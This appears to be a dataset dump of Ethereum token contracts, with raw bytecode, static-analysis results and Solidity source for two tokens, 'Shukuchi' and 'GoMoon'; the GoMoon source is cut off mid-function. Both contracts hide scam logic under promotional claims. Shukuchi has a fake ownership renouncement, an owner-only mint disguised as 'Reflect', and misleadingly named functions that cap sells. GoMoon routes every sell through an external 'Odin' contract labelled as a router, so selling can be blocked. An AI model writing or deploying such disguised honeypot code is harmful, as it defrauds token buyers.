9080368337019050509050308160008151811061112f5761112f6119b9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118357600080fd5b505afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb919061199c565b816001815181106111ce576111ce6119b9565b6001600160a01b039283166020918202929092010152600e546111f49130911684610b96565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122d908590600090869030904290600401611a84565b600060405180830381600087803b15801561124757600080fd5b505af115801561125b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061127d8385611af5565b9050838110156110e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b600f805460ff60a81b1916600160a81b17905580156112f5576112f53061dead83610cba565b50600f805460ff60a81b19169055565b610fea838383611375565b600080600061131d61146c565b909250905061132c8282611333565b9250505090565b60006110e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ac565b600080600080600080611387876114da565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113b99087611537565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113e89086611270565b6001600160a01b03891660009081526002602052604090205561140a81611579565b61141484836115c3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145991815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114878282611333565b8210156114a357505060075492678ac7230489e8000092509050565b90939092509050565b600081836114cd5760405162461bcd60e51b8152600401610455919061170b565b5060006110208486611a4b565b60008060008060008060008060006114f78a600954600a546115e7565b9250925092506000611507611310565b9050600080600061151a8e87878761163c565b919e509c509a509598509396509194505050505091939550919395565b60006110e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fef565b6000611583611310565b90506000611591838361168c565b306000908152600260205260409020549091506115ae9082611270565b30600090815260026020526040902055505050565b6007546115d09083611537565b6007556008546115e09082611270565b6008555050565b600080808061160160646115fb898961168c565b90611333565b9050600061161460646115fb8a8961168c565b9050600061162c826116268b86611537565b90611537565b9992985090965090945050505050565b600080808061164b888661168c565b90506000611659888761168c565b90506000611667888861168c565b90506000611679826116268686611537565b939b939a50919850919650505050505050565b60008261169b57506000610425565b60006116a78385611b0d565b9050826116b48583611a4b565b146110e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b600060208083528351808285015260005b818110156117385785810183015185820160400152820161171c565b8181111561174a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047457600080fd5b803561178081611760565b919050565b6000806040838503121561179857600080fd5b82356117a381611760565b946020939093013593505050565b6000602082840312156117c357600080fd5b5035919050565b6000806000606084860312156117df57600080fd5b83356117ea81611760565b925060208401356117fa81611760565b929592945050506040919091013590565b60006020828403121561181d57600080fd5b81356110e081611760565b801515811461047457600080fd5b60006020828403121561184857600080fd5b81356110e081611828565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561187c57600080fd5b823567ffffffffffffffff8082111561189457600080fd5b818501915085601f8301126118a857600080fd5b8135818111156118ba576118ba611853565b8060051b604051601f19603f830116810181811085821117156118df576118df611853565b6040529182528482019250838101850191888311156118fd57600080fd5b938501935b828510156119225761191385611775565b84529385019392850192611902565b98975050505050505050565b6000806040838503121561194157600080fd5b823561194c81611760565b9150602083013561195c81611760565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119ae57600080fd5b81516110e081611760565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119f9576119f96119cf565b5060010190565b600080600060608486031215611a1557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a4057600080fd5b81516110e081611828565b600082611a6857634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a7f57611a7f6119cf565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ad45784516001600160a01b031683529383019391830191600101611aaf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0857611b086119cf565b500190565b6000816000190483118215151615611b2757611b276119cf565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209b0d083a827521731d114886203302ac4367800f622b5abb954bfe03499cd7f864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,773 |
0xecef261f12101318538e5b2938ff1846d8047520
|
/*
Tele: @shukuchitoken
🚀 Fair Launch - Anti Presale Whales!
📃 Renounced Ownership and 🔑 Locked Liquidity to truly give the meaning of a community token!
🔥 Token Burn and responsive Developer Team
💰 Earn an extra bonus when staking is released!
🎰 Lottery-Based Staking Program where points from Staking will be redeemed for a chance to win a weekly prize!
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.3;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shukuchi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 5133713375 * 10**18;
string private _name = 'Shukuchi';
string private _symbol = 'Shukuchi縮地';
uint8 private _decimals = 18;
uint256 private rTotal = 2566856 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122048ae648af5457a5977d42388998318523bb9e0db21fffb67093e38c9186b4de764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,774 |
0x56900c5a19b438f947d4ad6046004be19b1d98be
|
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
//SPDX-License-Identifier: MIT
// Telegram: https://t.me/GoMoonTokenERC
// Website: https://GoMoonTokenERC.com
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=6;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="GM";
string constant TOKEN_NAME="Go Moon";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract GoMoon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(5);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
